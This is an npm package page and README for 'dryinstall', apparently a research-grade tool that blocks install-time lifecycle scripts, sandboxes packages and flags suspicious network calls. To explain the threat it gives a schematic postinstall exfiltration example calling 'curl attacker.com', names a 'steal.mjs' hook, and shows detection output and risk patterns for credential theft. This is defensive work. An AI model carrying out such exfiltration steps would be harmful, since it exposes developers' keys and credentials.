Package Exports
- dryinstall
- dryinstall/src/loader.js
This package does not declare an exports field, so the exports above have been automatically detected and optimized by JSPM instead. If any package subpath is missing, it is recommended to post an issue to the original package (dryinstall) to support the "exports" field. If that is not possible, create a JSPM override to customize the exports field for this package.
Readme
dryinstall
Zero code executed during install.
A security-focused npm package installer that blocks install-time Remote Code Execution (RCE) by intercepting lifecycle scripts and isolating packages before any code runs.
npm install malicious-pkg
→ postinstall runs → curl attacker.com → ✗ your keys are gone
dryinstall install malicious-pkg
→ lifecycle blocked → sandbox isolated → ✓ zero code executedThe Problem
Every time you run npm install, you're trusting every package — and every one of its 1500+ dependencies — not to run malicious code on your machine.
Real attacks that already happened:
| Package | Attack | Downloads |
|---|---|---|
event-stream (2018) |
postinstall stole Bitcoin wallet keys | 2M/week |
colors + faker (2022) |
intentional sabotage, infinite loops | 20M+/week |
cline (2026) |
postinstall silently installed backdoor CLI | Active |
xz-utils (2024) |
2-year supply chain compromise via build scripts | Core Linux |
The common thread: install-time script execution.
When npm install runs postinstall: node steal.mjs, it has full access to:
- Your filesystem (
~/.ssh,.env, credentials) - Your network (exfiltration to attacker C2)
- Your shell (
child_process.exec)
How dryinstall Works
npm install <pkg>
│
▼
┌───────────────────┐
│ Layer 1: Audit │ CVE scan — known vulnerabilities
└────────┬──────────┘
│
▼
┌───────────────────┐
│ Layer 2: Lifecycle│ Blocks ALL install-time scripts
│ Block │ preinstall, install, postinstall,
│ │ prepare, prepack, postpack...
└────────┬──────────┘
│
▼
┌───────────────────┐
│ Layer 3: Sandbox │ vm isolation + Worker Thread
│ │ fs / net / child_process blocked
└────────┬──────────┘
│
▼
dry_modules/
(stored, not executed)Result: The package is downloaded and stored. No lifecycle script runs. No code executes.
Quick Start
npm install -g dryinstall
# drop-in replacement for npm install
dryinstall install express
dryinstall install puppeteer --interactive
# scan existing node_modules for risks
dryinstall scan
# set up runtime protection for your app
dryinstall setup-loader
npm start # now runs with sandbox protectionFeatures
Install-time Protection
# blocks all lifecycle scripts silently
dryinstall install <pkg>
# asks before each blocked script (recommended for auditing)
dryinstall install <pkg> --interactiveInteractive mode output:
┌──────────────────────────────────────────────────────────┐
│ [dryinstall:interactive] Lifecycle Script Detected │
├──────────────────────────────────────────────────────────┤
│ Package : puppeteer │
│ Hook : postinstall │
│ Command : node install.mjs │
│ Risk : LOW │
└──────────────────────────────────────────────────────────┘
[a] Allow once [A] Always allow (saved to .dryinstallrc)
[b] Block (rec.) [B] Always block (saved to .dryinstallrc)
[v] View source file
[s] Block all remaining
Your choice (a/A/b/B/v/s) [auto-block in 15s]:Risk is automatically classified:
HIGH— chained commands (&&,;), HTTP calls,sudo, file deletionMED— single suspicious patternLOW— standard build scripts
Typosquatting Detection
dryinstall install puppetee
# ✗ Package not found: puppetee
# Did you mean: puppeteer ?Compares against the top 1000 npm packages (auto-refreshed every 24h) + your local node_modules.
Dependency Graph Analysis
dryinstall scan
# ═══ Dependency Graph — Risk Chain Analysis ═══
#
# ✗ malicious-pkg
# Attack chains (2):
# your-app → express → malicious-pkg
# your-app → lodash → deep-dep → malicious-pkgRuntime Protection
# registers loader into package.json start script
dryinstall setup-loader
# now: npm start runs as:
# node -r dryinstall/src/loader.js index.jsThe loader intercepts all require() calls at runtime:
- Packages in
dry_modules/load through the sandbox fs,net,child_processaccess is blocked- Bypass vectors patched:
process.mainModule.require,Module.createRequire,vm.runInThisContext
Network Analysis
During install, all HTTP/HTTPS requests are monitored:
✓ ALLOWED: https://registry.npmjs.org
⚠ SUSPICIOUS: "evil-pkg" → https://unknown-server.io
✗ DANGEROUS: "evil-pkg" → https://attacker-c2.net [dangerous_pattern]Real-World Test: puppeteer
dryinstall install puppeteer --interactivePackages scanned : 1518
Scripts blocked : 363
Risky packages : 296
✓ All lifecycle scripts blocked
✓ Zero code executed during install363 lifecycle scripts across 1518 dependencies — all blocked. None executed.
Security Levels
| Level | Name | Blocks |
|---|---|---|
| 3 | Paranoid (default) | All dangerous modules + Worker Thread isolation |
| 2 | Balanced | child_process only |
| 1 | Relaxed | vm isolation only |
| 0 | Off | Monitor only, no blocking |
dryinstall install <pkg> --level=2Persistent Whitelist / Blacklist
[A] and [B] choices in interactive mode are saved to ~/.dryinstallrc:
{
"alwaysAllow": ["glob", "rimraf"],
"alwaysBlock": ["puppeteer"]
}Applied automatically on every subsequent install.
CLI Reference
dryinstall install <pkg> # install with 3-layer protection
dryinstall install <pkg> --interactive # ask before each blocked script
dryinstall install <pkg> --level=2 # set security level (0–3)
dryinstall install <pkg> --allow=fs,net # allow specific modules in sandbox
dryinstall install <pkg> --allow-package=glob # allow lifecycle for specific pkg
dryinstall install <pkg> --watch # enable process + port monitoring
dryinstall clean-install # remove node_modules, reinstall via pipeline
dryinstall scan # scan + isolate existing node_modules
dryinstall setup-loader # register runtime loader in package.json
dryinstall remove-loader # remove loader registration
dryinstall list # list packages in dry_modulesArchitecture
dryinstall/
├── src/
│ ├── auditor.js Layer 1: CVE audit
│ ├── cli.js Layer 2: lifecycle blocking + Security Report
│ ├── sandbox.js Layer 3: vm isolation + security levels + Policy
│ ├── storage.js dry_modules storage + SHA256 integrity
│ ├── loader.js runtime require() hook + bypass patching
│ ├── scanner.js node_modules scan + isolation
│ ├── dep-graph.js dependency graph + risk chain analysis
│ ├── network-analyzer.js install-time network monitoring
│ ├── typo-detector.js typosquatting detection
│ ├── worker-runner.js Worker Thread double isolation
│ └── monitor.js background process + port monitoring
├── bin/
│ ├── dryinstall.js CLI entry point
│ └── npm-wrapper.js npm install interceptor
└── dryinstall.policy.json per-package least-privilege policyKnown Limitations
- Native addons (
.nodefiles): Cannot be sandboxed at the JS level. Requires OS-level isolation (Docker, seccomp). Packages likebcrypt,sharp,sqlite3fall into this category. - Dynamic
import(): ES module dynamic imports cannot be fully intercepted at the Node.js module loader level. - Prototype escape (partial):
Functionandevalare blocked inside the sandbox. Directvmcontext escapes are patched, but novel escape techniques may exist.
This is a research-grade prototype. Production use should combine dryinstall with container isolation.
Background
This project was built to demonstrate Install-time RCE Mitigation — a pattern missing from the current npm security ecosystem.
Existing tools:
npm audit— finds known CVEs, does not prevent executionsocket.dev— dependency risk analysis, does not prevent executionLavaMoat— runtime sandboxing, does not intercept install phase
dryinstall targets the gap: the install phase itself.
The core insight:
Attackers who dilute malicious prompts enough to evade detection also reduce attack effectiveness. The same applies here — if lifecycle scripts cannot execute, the attack surface disappears regardless of what the script contains.
License
MIT